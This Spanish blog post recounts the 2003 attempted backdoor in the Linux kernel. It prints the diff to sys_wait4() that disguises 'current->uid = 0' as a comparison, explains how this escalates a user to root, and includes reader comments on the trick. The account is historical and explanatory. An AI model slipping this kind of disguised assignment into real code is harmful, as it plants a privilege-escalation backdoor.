27 octubre 2010

Hackeos memorables: la backdoor en el kernel de Linux

Eran las 15:47 de la tarde del 6 de noviembre de 2003 cuando Larry McVoy, uno de los pesos pesados del desarrollo del kernel de Linux notifica que el sistema de control de versiones (CVS) del servidor kernel.bkbits.net había sido objeto de un ataque que finalmente tuvo  éxito.

La relación de Larry con la comunidad Linux siempre fue problemática ya que el software BitKeeper, que se utilizaba para el control del desarrollo del kernel (Source Code Management), era un producto comercial de su compañía. Gente como Richard M. Stallman, Bruce Perens y otros integrantes estaban en contra de este modelo. Este aviso no ayudaría a liberar tensiones.

Con este mail a la lista del kernel contaba que se había producido una intrusión y que se había modificado código fuente sin utilizar el CVS añadiendo una puerta trasera. Las palabras de McVoy intentaban ser tranquilizadoras, pero sin mucho éxito:

Somebody has modified the CVS tree on kernel.bkbits.net directly. Dave looked
at the machine and it looked like someone may have been trying to break in and
do it.

We've fixed the file in question, the conversion is done back here at BitMover
and after we transfer the files we check them and make sure they are OK and
this file got flagged.

The CVS tree is fine, you might want to remove and update exit.c to make sure
you have the current version in your tree however.


No tardaron en sucederse las respuestas preguntando por detalle de lo ocurrido. Parecía increíble que alguien hubiera conseguido llegar tan lejos.

En uno de los correos intercambiados de aquel hilo tan picate, se mostraban los cambios en la syscall wait4().

--- GOOD 2003-11-05 13:46:44.000000000 -0800
+++ BAD 2003-11-05 13:46:53.000000000 -0800
@@ -1111,6 +1111,8 @@
schedule();
goto repeat;
}
+ if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
+ retval = -EINVAL;
retval = -ECHILD;
end_wait4:
current->state = TASK_RUNNING;

La noticia corrió como la pólvora y medios como TheRegister o Slashdot se hicieron eco rápidamente.

Pero ¿qué hacía realmente esa pequeña modificación? ¿cúal era la puerta trasera?. Sencillo, si sys_wait4() recibía __WCLONE|__WALL, se ejecutaba: current->uid = 0, por lo que el usuario se haría root. Por lo tanto, esta puerta trasera servía para escalar privilegios.

Por suerte, el incidente fue detectado y jamás llego a distribuirse ni tampoco al CVS oficial, tal y como comenta el propio Torvalds.

6 comments :

Newlog dijo...

Muy 'pícaro' poner la asignación en el if! Como si se hubiera olvidado un igual... Vaya tela!

Saludos

woezel dijo...

Siempre genial con los hackeos memorables!
Muy buen trabajo!

Ole dijo...

Una pequeña duda/cuestion que me surge con el if.

+ if ((options == (__WCLONE|__WALL)) && (current->uid = 0))

¿Esto no devuelve siempre falso? ¡Que a lo mejor es ahi donde esta el truco!, pero me sorprendio.

Anónimo dijo...

A ver, DA IGUAL QUE DEVUELVA FALSO O VERDADERO. Lo que hace es que pone current->uid = 0 (Eso en C es una asignacion, no una comparacion). Eso lo hace asi para despistar, para que no se vea que se esta haciendo una asignacion.

Ole dijo...

Una pequeña duda/cuestion que me surge con el if.

+ if ((options == (__WCLONE|__WALL)) && (current->uid = 0))

¿Esto no devuelve siempre falso? ¡Que a lo mejor es ahi donde esta el truco!, pero me sorprendio.

muriel dijo...

Jo! que buena!!! No conocía "tantos" detalles de ésto ^^. La treta es genial asignando al user privilegios de root (O_o)